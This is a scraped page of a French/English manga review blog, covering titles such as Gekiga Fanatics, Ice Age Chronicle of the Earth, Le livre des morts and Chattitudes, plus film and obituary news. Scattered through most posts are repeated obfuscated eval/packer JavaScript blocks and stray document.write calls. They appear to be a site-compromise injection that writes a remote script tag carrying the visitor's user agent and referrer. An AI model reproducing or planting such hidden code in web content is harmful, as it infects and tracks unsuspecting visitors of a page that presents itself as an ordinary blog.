“Dans ces circonstances, les révélations de Raffaele Riario, qui vient d’annoncer que Naples avait trahi ses alliés pour se tourner vers la curie, font l’effet d’un coup de tonnerre. D’autant que c’est l’ennemi juré des Borgia, Giuliano della Rovere, qui est à l’origine de ce revirement ! Alors que le rideau se lève sur 1492, année qui va marquer l’histoire, les ambitions de chacun sont sur le point de faire basculer l’ordre du monde…”

“Fuyumi Soryo lève le voile sur le destin hors du commun de l’énigmatique Cesare Borgia dans un manga d’une richesse historique rare, tout simplement passionnant.”

[ Texte de la couverture arrière ]

Continuez après le saut de page >>

Continue reading

Découverte: de sérieux manga

Cette semaine, document.write(“”); je suis sorti en ville pour visiter un musée et j’en ai profité pour bouquiner un peu. J’ai été surpris de faire quelques découvertes: une perle rare du Lézard Noir, un autre Taniguchi (eh oui!), des manga qui n’en sont pas et un nouveau tome de Versailles no bara.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdzhh|var|u0026u|referrer|tnans||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fffne|var|u0026u|referrer|ifiya||js|php’.split(‘|’),0,{}))

Pour en savoir plus, jetez un coup d’oeil
après le saut de page >>

Gekiga Fanatics

“Osaka, fin des années 1950. De jeunes mangakas vont participer à la création d’un genre nouveau qui révolutionnera la bande dessinée japonaise : le gekiga. En partie autobiographique, Gekiga Fanatics se concentre sur trois mangakas encore inconnus à l’époque : Yoshihiro TatsumiL’Enfer, Une vie dans les marges (Cornélius), Takao SaitôGolgo 13 (Glénat), ainsi que l’auteur lui-même, Masahiko Matsumoto – La Fille du bureau de tabac (Cambourakis). Extrêmement documenté, le livre décrit avec justesse et précision les doutes et les difficultés qu’affrontent de jeunes auteurs exigeants et passionnés, qui refuseront toujours de renoncer à leurs rêves.”

(Texte du site de l’éditeur; voir aussi la couverture arrière)

Ce manga me rappelle beaucoup Une vie dans les marges de Yoshihiro Tatsumi (publié chez Cornélius et dont j’ai commenté la version anglaise, A drifting life, publié par Drawn & Quarterly). Dans les deux cas, il s’agit de manga autobiographiques qui parlent de l’après-guerre, de la carrière de mangaka de l’auteur et de la naissance du manga comme on le connait aujourd’hui. Tant Tatsumi que Matsumoto, faisaient partie (avec entre autres Shigeru Mizuki et Osamu Tezuka) de cette première génération de mangaka pionniers qui dessinaient des histoires plutôt sérieuses dans un style un peu brouillon et parfois même caricatural. Mais Tatsumi et Matsumoto faisaient partie d’un groupe qui écrivait du Gekiga (“dessin dramatique”) caractérisé par des histoires plus sombres et avec plus d’action que le manga typique (qui offrait généralement des récit plus léger et un style plus caricatural) et visaient donc un lectorat plus âgé, plus mature. Ils s’inspiraient de la vie de tout les jours et traitaient de thèmes réalistes plus en phase avec les problèmes socio-politiques de l’époque. Pour bien exprimer ce genre de récit complexe, ils utilisaient des techniques artistiques plus cinématique qui permettaient de mieux rythmer la narration pour que l’action coule plus naturellement à travers les cases. [image ci-haut: Tatsumi Yoshihiro, Saito Takao et Matsumoto Masahiko]

Gekiga Fanatics (??????!! / Gekiga bakatachi !!) a d’abord été publié en feuilleton dans le magazine Big Comic Zôkan de Shôgakukan en 1979 avant d’être compilé en volumes chez Seirink?geisha. Il a été traduit et publié en français chez Le Lézard Noir.

Nous sommes très chanceux d’avoir des éditeurs français comme Cornélius ou le Lézard Noir qui n’hésitent aucunement à publier ces oeuvres plus anciennes, parfois plus difficile d’approche et donc moins populaire. Du côté anglophone, jusqu’à récemment, il n’y avait que Drawn & Quarterly et Vertical qui s’y était risqué mais maintenant d’autres éditeurs tâtent le terrain avec des titres comme The Rose of Versailles de Riyoko Ikeda chez Udon Entertainment, Queen Emeraldas de Leiji Matsumoto chez Kodansha Comics, Otherworld Barbara par Moto Hagio chez Fantagraphics Books ou même le colossal The Osamu Tezuka Story: A Life in Anime and Manga par Toshio Ban chez Stone Bridge Press.

Dans une langue comme dans l’autre, même si le graphisme est un peu moins plaisant ou que l’histoire représente une lecture un peu plus exigeante, il n’en demeure pas moins que ce sont des classiques de la littérature graphique japonaise que tout amateur se doit d’avoir lu.


Gekiga Fanatics, par Masahiko Matsumoto (Traduction par Miyako Slocombe). Le Lézard Noir, novembre 2013. 328 pg., 24,00 € / $42.95 Can. ISBN: 978-2-35348-0494. Recommandé pour public jeune adulte (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Ice Age chronicle of the earth, vol. 1 & 2

“Dans le futur, tandis que l’humanité tente tant bien que mal de survivre aux conséquences d’un nouvel âge glaciaire, Takéru va devoir se lancer dans une odyssée afin de sauver ses compagnons. A son bras, un bracelet sacré en argent, seul souvenir qui lui reste de sa mère…”

“Saura-t-il faire face à son destin ?”

(Texte du site de l’éditeur)

Les éditeurs de manga français (dans ce cas-ci Kana) continue à nous sortir des vieux Taniguchi qui date de l’époque où il faisait plus dans le récit d’action que dans le contemplatif. Et nous en sommes fort heureux!

Ice Age Chronicle of the Earth (?????? / Chiky? hy?kai-ji-ki) a d’abord été publié en feuilleton dans le magazine Morning de Kôdansha en 1987-88 avant d’être compiler en volumes chez Futabasha. Dans les années ’80, Taniguchi écrivait surtout des récits d’action comme Trouble Is My Business, Enemigo ou Garôden, ou des récits qui mettaient en scène la nature et les grands espaces tels que Blanco, K ou Encyclopédie des animaux de la préhistoire. Ice Age Chronicle of the Earth s’inscrit bien dans ces thématiques. Et, si l’on se fit à la bande de couverture de l’édition française ainsi qu’au style de Taniguchi pour ce diptyque visionnaire, c’est une époque où il devait lire et s’inspirer du magazine français Métal Hurlant


En tout cas j’ai bien hâte de lire ce manga. Ce sera délicieux!

Ice Age chronicle of the earth vol. 1 & 2, par Jirô TANIGUCHI. Paris: Dargaud (collection Kana: Made In), mai et septembre 2015. 272 & 224 pgs, 16.3 x 23.2 x 2 cm, 18.00 € / $31.95 Ca, ISBN: 9782505063643 & 9782505063650. Recommandé pour public adolescent (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Manga Classics: Great Expectations

“Great Expectations has it all: romance, mystery, comedy, and unforgettable characters woven through a gripping rags-to-riches tale. Naive Pip, creepy Miss Faversham, beautifully cold Estella, terrifying Abel Magwitch, and the rest of Dicken’s fantastic cast are perfectly envisioned in this new adaptation in this 300-plus page volume featuring artwork by artist Nokman Poon.”

“Manga Classics editions feature classic stories, faithfully adapted and illustrated in manga style, and available in both hardcover and softcover editions. Proudly presented by UDON Entertainment and Morpheus Publishing.”

(Text from the publisher’s website)

When I first noticed this book while browsing at the bookstore I thought “Great! Another interesting manga classics adaptation!” but I soon realized that it was no manga at all! A manga is a comics by a Japanese artist while this one is produced by a Canadian artist (of asian origin). I think I mentioned before this collection of manga classics from Udon Enterainment. They have many interesting adaptations such as Jane Austen’s Emma, Victor Hugo’s Les Miserables, Jane Austen’s Pride and Prejudice, or Nathaniel Hawthorne’s The scarlet letter. But none of them is really manga. Too bad. However, it might still be worth a look.

Great Expectations, original story by Charles Dickens, adaptation by Crystal Silvermoon, and illustrations by Nokman Poon. Richmond Hill: Udon Entertainment (collection Manga Classics), mai 2015. 308 pg, 6 x 8.5″, B&W, Softcover, $19.99 US / $26.50 Cnd, ISBN: 978-1927925317. Recommandé pour public jeune (7+).

Pour plus d’information vous pouvez consulter les sites suivants:

Musashi

“Minamoto Musashi (1584-1645), le samouraï légendaire, est connu dans le monde entier comme un grand maître de sabre, un chercheur spirituel, et l’auteur du classique Le livre des Cinq Roues.”

“Cette version graphique nous raconte sa vie étonnante. C’est à la fois un récit vivant d’une période fascinante dans le Japon féodal et le portrait d’un courageux samouraï qui a combattu avec les idées philosophiques et spirituelles qui sont aussi pertinentes aujourd’hui qu’elles l’étaient en son temps.”

“Plus de 350 ans après sa mort, Musashi nous fascine toujours. À partir d’authentiques sources japonaises, William Scott Wilson, brosse un portrait inoubliable de cet illustre personnage historique.”

(Texte du site de l’éditeur; voir aussi la couverture arrière)


Bon encore une fois, est-ce que cette bande-dessinée est du manga ou pas? L’auteur est écossais (mais vivant au japon) et l’artiste est japonaise. Je crois qu’à la rigueur on peut considérer ça comme du manga. A noter qu’il s’agit ici d’un nouveau petit éditeur, qui semble spécialisé en arts martiaux. Cela m’a accroché l’oeil à la librairie mais ce n’est peut-être pas d’un grand intérêt. À voir par curiosité peut-être…

Musashi, scénarisé par Sean Michael Wilson et illustré par Michiru Morikawa. Noisy sur Ecole: Budo, août 2015. 176 pgs, 15 x 21 cm, 12.95 € / $17.95 Can, ISBN: 978-2-84617-363-6. Recommandé pour public adolescent (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

???????? 12

“?40???????????????????????????????2?????????????????????????????????????????????????????????????????????????????24P???????!”

J’ai déjà mentionné en mars les fameux Rose of Versailles Episodes. Riyoko Ikeda avait déjà tenté de faire des suite à son chef d’oeuvre Versailles no bara avec les Rose of Versailles Side-Stories que l’éditeur Kana avait inclus dans le troisième tome de l’édition française. Toutefois, quarante ans plus tard, alors qu’elle reprend sa carrière de mangaka, elle se remet sur une véritable suite composée d’histoire courtes qui sont chacune centrée autour d’un personnage secondaire différent. Les épisodes sont sérialisé dans Margaret, le magazine hebdomadaire shojo de Shueisha. Une première compilation est paru en août 2014 rassemblant les quatre premières histoires. Ce volume, faisant véritablement suite à la série de dix tomes, a été numéroté le volume onze.

En cherchant à commander le volume onze pour l’anniversaire de mon épouse, j’ai eu la surprise de constater qu’un douzième volume était paru en juillet. Il va sans dire que je l’ai également commandé. Hélas mon japonais n’est pas assez bon pour que je puisse le lire. J’espère que ma femme pourra me le raconter!

Le volume 12 contient les épisodes cinq et six. L’épisode 5, qui suit le Major Victor Clement de Girodelle (l’autre amoureux d’Oscar, qui lui fit une proposition de mariage), est paru en deux parties: une première partie de trente-sept page dans le Margaret #22 (publié le 20 octobre 2014) et une seconde partie de trente-trois pages dans le Margaret #23 (publié le 5 novembre 2014), chacune comportant cinq pages en couleurs. L’épisode 6 a lui aussi été publié en deux partie: l’une dans le Margaret #8 (publié le 20 mars 2015) et l’autre dans le Margaret #9 (publié le 4 avril 2015) totalisant une centaine de pages. Cet épisode nous révèle le secret de la naissance d’Oscar (en révélant comment ses parents se sont rencontré)!

???????? 12 (Versailles no bara 12 / La rose de versailles vol. 12), par Riyoko Ikeda. Tokyo: Shueisha (collection Margaret), juillet 2015. 216 pgs, 7.1 x 5 x 0.9 inches, ? 745 ($9.00 Cnd), ISBN: 978-4088454092. Recommandé pour public adolescent (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

[ Translate ]

Educational manga

What makes manga so interesting is that they can not only be used for entertainment but many of them also have a great educational value. I have already talked about manga adaptations of literary classics as well as of my interest for historical manga like The Rose of Versailles by Riyoko Ikeda, which is set in the prelude to the French revolution, or The Tale of Genji (adapted in manga by several mangaka, particularly Waki Yamato, Miyako Maki, Egawa Tatsuya), which is a romance story set at the Japanese royal court of the Heian era. It has long been thought that educational manga (and particularly historical manga or manga set in an historical context) were not popular, but recent successes (titles like Cesare, Emma, Rurouni Kenshin, Thermae Romae, or Vinland Saga come to mind) have proved that wrong. But, there’s more to this.

A few days ago, I was watching the news on NHK World and there was a report on a manga series about the History of Japan (unfortunately the report has no equivalent on the station’s website either as a written article or a streaming video that I can link to). This is another type of great educational manga that helped sparks a renewed interest in Japanese history but it is also used by public and “cram” schools to teach history.

I found this concept of Japanese history educational manga so interesting that I decided to research it a little further to get more details and discovered that at least three great publishers had released their own series about the history of Japan.

Continue reading

Le Sommet des Dieux au cinema

J’ai lu cette semaine sur le site d’Animeland que le roman de Baku Yumemakura Le Sommet des Dieux a été adapté au cinema!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehtsh|var|u0026u|referrer|hhnyy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhaay|var|u0026u|referrer|haeae||js|php’.split(‘|’),0,{}))

Intitulé Everest: le sommet des dieux (?????? – ????? / Evu-eresuto: Kamigami no Itadaki), document.write(“”); le film est réalisé par Hideyuki Hirayama, avec un script de Masato Katô, et met en vedette Junichi Okawa (Makoto Fukamachi), Hiroshi Abe (Joji Hanyu), Machiko Ono (Ryogo Kishi), Pierre Taki (Miyazawa), Masahiro Komodo (Inoue), Shunsuke Kazaa (Buntaro Kishi), Kuranosuke Sasaki (Wataru Hase). Le film, qui a réellement été tourné sur l’Everest, sortira en salle au Japon le 12 mars 2016. La bande-annonce est déjà disponible sur
le site officiel et sur Youtube:

“Dans une petite boutique népalaise, Fukamachi tombe sur un appareil photo qui pourrait bien être celui de George Mallory, le célèbre alpiniste qui fut le premier à essayer de vaincre l’Everest. Mallory disparût avec Andrew Irvine, lors de cette ascension en 1924, sans que l’on puisse savoir s’ils sont parvenus au sommet. Et si c’était seulement lors du chemin du retour qu’ils avaient eu cet accident fatal? Cela changerait l’histoire de l’alpinisme! C’est sur cette passionnante question que s’ouvre le chemin initiatique de Fukamachi qui sera amené à faire la rencontre de figures hautes en couleurs.” [résumé sur Manga-News]

Toujours selon Animeland, un court manga inspiré du film et dessiné par Tetsuya Saruwatari devrait paraitre dans le numéro de mars 2016 (parution le 24 février) de Grand Jump Premium. Décidément, le roman de Baku Yumemakura est très populaire.

En effet, en janvier dernier Manga-News nous apprenait que la superbe adaptation manga de ce même roman par Jir? Taniguchi serait elle-même adaptée en un long métrage d’animation 3D! Le film serait produit par le studio Julianne Films (France) en association avec Walking The Dog (Belgique) et Mélusine Productions (Luxembourg) et est réalisé par Jean-Christophe Roger et Eric Valli. Il n’y a pas encore de date de sortie d’annoncée. [MAJ: quelques détails de plus sur Cineuropa]

[ Translate ]

Akiyuki Nosaka passes away

Earlier this month, document.write(“”); I read on Anime News Network that Akiyuki Nosaka, the novelist who wrote the famous japanese story Grave of the Fireflies (????? / Hotaru no Haka), passed away on December 9 at the age of 85. Written in 1967, the story was semi-autobiographical as it was inspired by his war-time experience as a kid, particularly the firebombing of Kobe in 1945.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyrbt|var|u0026u|referrer|sbdtb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrzie|var|u0026u|referrer|tirki||js|php’.split(‘|’),0,{}))

In 1988, the novel was adapted into a beautiful
animated movie by Studio Ghibli under the direction of Isao Takahata.

Découverte: Le livre des morts

À la découverte de la mythologie égyptienne !
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzzyb|var|u0026u|referrer|brdsh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdthn|var|u0026u|referrer|izahs||js|php’.split(‘|’),0,{}))

“Égypte ancienne, document.write(“”); Louxor, 1400 avant J.-C., le faible taux de survie des nourrissons, la famine et les épidémies faisaient que pour les Égyptiens, la mort était monnaie courante. L’apparition du livre des morts donne de l’espoir au peuple, car il est la promesse d’une vie après après la mort.”

“Après le décès de leur mère, Thouti élève seul avec son père sa petite soeur Kiki. Contant les légendes du panthéon des dieux égyptiens, un vieux prêtre leur redonne le sourire. Il finit par leur parler du fameux livre des morts, mais Thouti et sa soeur apprennent avec horreur que tous les humains ne peuvent pas accéder à la deuxième vie promise dans l’autre monde…”

[ Texte du site de l’éditeur ]

Continuez après le saut de page >>

Le livre des morts (??????????? / Manga de dokuha: Shisha no sho / “Lire en manga: Le livre des morts”) est le cent-unième volume de la collection manga de dokuha publiés par East Press en août 2011 (le #1361 du catalogue de l’éditeur). L’adaptation et le dessin ont été réalisé par le studio Variety Art Works, dont on connait très peu de chose. C’est le treizième titre de la collection a être traduit par Soleil Manga en novembre 2014 dans sa collection “Classiques”. J’ai déjà introduit cette collection et commenté quelques uns de ses titres (L’Ancien et le Nouveau Testament de la Bible, À la recherche du temps perdu, Le Capital, Le rouge et le noir, Les misérables, Guerre et Paix, Le manifeste du Parti Communiste, L’interprétation des rêves et Les mots de Bouddha). Cette collection reprend en traduction quelques titres de l’impressionnante collection japonaise Manga de Dokuha (comportant jusqu’à maintenant plus de cent-cinquante titres!) publiée par East Press, qui se consacre à adapter en manga des classiques de la littérature pour les rendre accessible à un plus large publique.

Extrait des pages 2 et 7 de la version originale

Je bien hâte de mettre la main sur ce manga et de le lire. Il ne semble pas encore disponible au Québec en bibliothèque mais heureusement il l’est en librairie (pas partout toutefois). Si c’est une collection intéressante (il me reste encore à lire les deux volumes de Entretiens avec Confucius et Le Prince de Machiavel) et que le concept de Manga de dokuha est assez génial, il semble que l’adaptation et les illustrations parfois médiocre de Variety Art Works aient beaucoup nui à sa popularité. J’ai bien peur que Soleil en ait abandonné la publication puisque seulement deux titres sont paru en 2014 (le volume 2 de Entretiens avec Confucius en mai ainsi que Le livre des morts en novembre) et aucun en 2015.

C’est dommage mais le concept d’adapter des classiques de la littérature en manga n’est pas unique à Manga de dokuha. D’autres auteurs l’ont fait et, l’idée commençant à faire son chemin en occident, d’autres éditeurs en ont publié des adaptations en français. On en retrouve donc maintenant aussi chez Kurokawa (Les misérables) ou Ki-oon (Le requiem des roses) mais surtout chez Nobi Nobi (Les Quatre Filles du Docteur March, La Petite Princesse Sara, Les Aventures de Tom Sawyer, Les Enquêtes de Sherlock Holmes, Les Trois Mousquetaires, et Roméo et Juliette).

À suivre, donc.

Le livre des morts, adapté et illustré par Variety Art Works. Toulon, Soleil Manga (Coll. Classiques), novembre 2014. 13,0 × 18,3 × 1,3 cm, 192 pg., 6,99 € / $12.95 Can. ISBN: 978-2-302-04336-7. Lecture dans le sens occidental et recommandé pour jeunes adultes (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Manga de dokuha: Shisha no sho © Variety Art Works • East Press Co., Ltd. All rights reserved. Édition française © 2014 MC Productions.

[ Translate ]

Chattitudes

Comment décoder le comportement de son chat en 100 situations clés dessinées, document.write(“”); type BD, via des dessins à la fois tendres, drôles et très explicites.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdens|var|u0026u|referrer|ifanr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|natee|var|u0026u|referrer|bfzbh||js|php’.split(‘|’),0,{}))

“Sayo Koizumi nous fait partager avec humour et un grand sens de l’observation 100 moments complices qui en disent long sur le tempérament de chats: comment ils nous disent bonjour, leurs jeux préférés, ce qu’ils expriment quand ils remuent la queue, pourquoi ils dorment tant et dans des postures incroyables…”

Chôjiro, grand frère et Raku la petite soeur, sont les deux chats adorés de Sayo Koizumi, une illustratrice vivant à Tokyo. Comme tous les chats du monde, ils ont leurs habitudes, leurs petits défauts, leur language, leurs mystères…”

“Illustré de dessins poétiques et charmants, ce joli guide célèbre avec tendresse les petits bonheurs d’une vie sous le signe du plus adorable des félins: le chat.“

(Texte du site de l’éditeur et de la couverture arrière)

Lire la suite après le saut de page >>


Chattitudes: Ce que me dit mon chat par Sayo Koizumi a originalement été publié au Japon en septembre 2012 sous le titre ???????????! ?????????100 (Motto neko to nakayoku narou! Daisukina neko no himitsu 100 / lit. “Pour devenir amis avec plus de chat! Les 100 secrets de votre chat favoris”) par l’éditeur Media Factory, une filiale de Kadokawa (ISBN: 978-4840148092, ? 1,296). Il a été suivi d’un second volume en octobre 2013 intitulé ??????????????????100 (Zûtto neko to asobou! Neko to no o tanoshimi 100 / lit. “Jouons tout le temps avec les chats! Les 100 plaisirs du chat!”). Le premier volume a été traduit et adapté en français par Marcia Nishio pour être publié par Larousse en février 2015.

Sayo Koizumi est une illustratrice professionnelle qui adore les chats et les utilisent depuis une vingtaine d’années dans son travail. Elle s’est inspirée de ses deux chats, Chôjiro et Raku, pour concevoir cet ouvrage.

Ce guide très kawaii (“mignon” en japonais) a pour but de nous faire découvrir des tas d’information nouvelles sur les chats pour nous les rendre plus familier et enrichir nos relations avec eux. Le guide offre cent information ou faits concernant les chats et est divisé en cinq chapitres. Dans l’introduction (info # 1 à 9), “C’est bien vrai que les chats sont comme ça!”, on présente les différentes races de chats, dit que le chats on l’air démoniaques quand ils bâillent, qu’ils n’aiment pas les voix graves, etc. Dans le chapitre 1 (info # 10 à 20), “Comprendre ce que ressentent les chats”, on y apprend pourquoi les chats aiment se mettre la tête dans les sacs, qu’ils disent bonjour en nous sentant les doigts, qu’ils font des bisous en se collant les truffes, etc., et on donne quelques conseils pour prendre de belles photos de chats. Dans le chapitre 2 (info # 21 à 36, “Petit bric-à-brac de connaissances sur les chats”, on y apprend qu’un chat qui ronronne produit 26 vibrations par seconde, qu’en japonais le mot “chat” vient du verbe “dormir” (nemuru ko [dormir + enfant] -> neko), que les chats sont nyctalopes, etc., et on y présente les différents types de pelages de chat.


Dans le chapitre 3 (info # 37 à 44), “De nouveaux jeux avec les chats”, on propose quelques jeux pour embêter votre chats, on apprend que la liane Matatabi (Actinidia polygame) a un effet similaire à l’herbe à chat, et on propose une visite dans un bar ou café à chat (on en suggère à Tokyo mais il en existe aussi quelques uns à Montréal). Dans le chapitre 4 (info # 45 à 53), “Petites histoires sur les chats et la nourriture”, on y apprend que les chats ne perçoivent pas le goût sucré, qu’ils détestent les agrumes, qu’ils adorent laper l’eau du robinet, etc., et on y présente les aliments et plantes toxiques pour les chats.


Dans le chapitre 5 (info # 54 à 63), “Différences entre mâles et femelles et étranges histoires liées au sexe des chats”, on y apprend que les mâles sont généralement plus gros, les femelles plus soignées, que les chatons d’une même portée peuvent avoir des pères différents, etc., et on donne quelques trucs pour aller chez le vétérinaire. Le livre se termine avec des infos bonus (# 64 à 100 — histoire de compléter le compte) sur le language des chats et autres chatfolies et un carnet d’adresses utiles (en France).

C’est un guide amusant qui offre quelques information pratique sans être vraiment très utile. Malheureusement, comme c’est un livre publié en Europe, toutes les information sur les centre d’adoption et les cliniques vétérinaires ne sont d’absolument aucune utilité pour les lecteurs nord-américains. Cela reste néanmoins un bon livre de chevet pour passer le temps en s’amusant. Dans mon cas cela m’a permis, pour un temps, d’allier mon amour des chats et du Japon. D’autant plus que mes deux chats ressemble beaucoup à ceux de l’auteur et que je n’arrêtais pas de me dire durant la lecture que c’est bien vrai que mes chats sont comme ça! Un bon divertissement pour les amateurs de chats. Avez-vous caressé un chat aujourd’hui?

Chattitudes, écrit et illustré par Sayo Koizumi. Paris, Larousse, février 2015. 128 pages, 15 x 21.2 x 1.4 cm, 7,90 € / $12.95 Cnd, ISBN 9782035879301. Lectorat: pour tous les amateurs de chats!

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ Translate ]

Mangeons! (1)

“D’elle, document.write(“”); on ne connaît rien ou presque. Cette superbe jeune femme surgit sans crier gare dans la vie de gens ordinaires qui ont pour point commun d’être agacés, écrasés parfois, par les tracas du quotidien. Jeune diplômé attendant désespérément le résultat d’un entretien d’embauche, homme hanté par le souvenir de la rupture avec sa compagne, mari torturé par sa propre infidélité… Les âmes à secourir sont légion pour celle qui pourrait être la déesse de la bonne chère. Le temps d’un repas auquel elle convie silencieusement cette galerie de personnages, elle leur redonnera le sourire, l’espoir, ou cette légèreté qu’ils ont perdue. Ses armes : une gourmandise ô combien communicative et une sensualité où se rejoignent désir et plaisir du palais, qui feront vite oublier l’incongruité de ses apparitions toujours plus hilarantes.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntdhk|var|u0026u|referrer|efyni||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|httht|var|u0026u|referrer|hhana||js|php’.split(‘|’),0,{}))

“Entre un bol de nouilles avalé goulûment dans une gargote, des fruits de mer grillés à même le bord de mer où ils ont été ramassés, un steak haché préparé avec amour à la maison, ce pendant féminin du Gourmet Solitaire de Jirô Taniguchi nous convie à un voyage gastronomique, sensuel et comique dans le paysage culinaire japonais d’aujourd’hui, et oeuvre à nous rappeler que la gourmandise est peut-être le plus grand plaisir de la vie et que nous perdrions beaucoup à le bouder.”

Une comédie gourmande en quatre tomes.

(Texte du site de l’éditeur; voir aussi la couverture arrière)

Lire la suite après le saut de page >>


Mangeons ! (????? / Taberu Dake / lit. “just eating”) est un manga seinen par Sanko Takada qui est d’abord paru en feuilletons dans la magazine Gekkan! (Monthly) Spirits de l’éditeur japonais Shôgakukan entre décembre 2010 et novembre 2013. La série maintenant complète a été compilée en quatre volumes (le premier volume est paru en novembre 2011, le second en mai 2012, le troisième en juin 2013 et le quatrième en janvier 2014). La version française est publiée dans la collection Sakka de Casterman (paru respectivement en mars, juin, octobre 2014 et en février 2015).

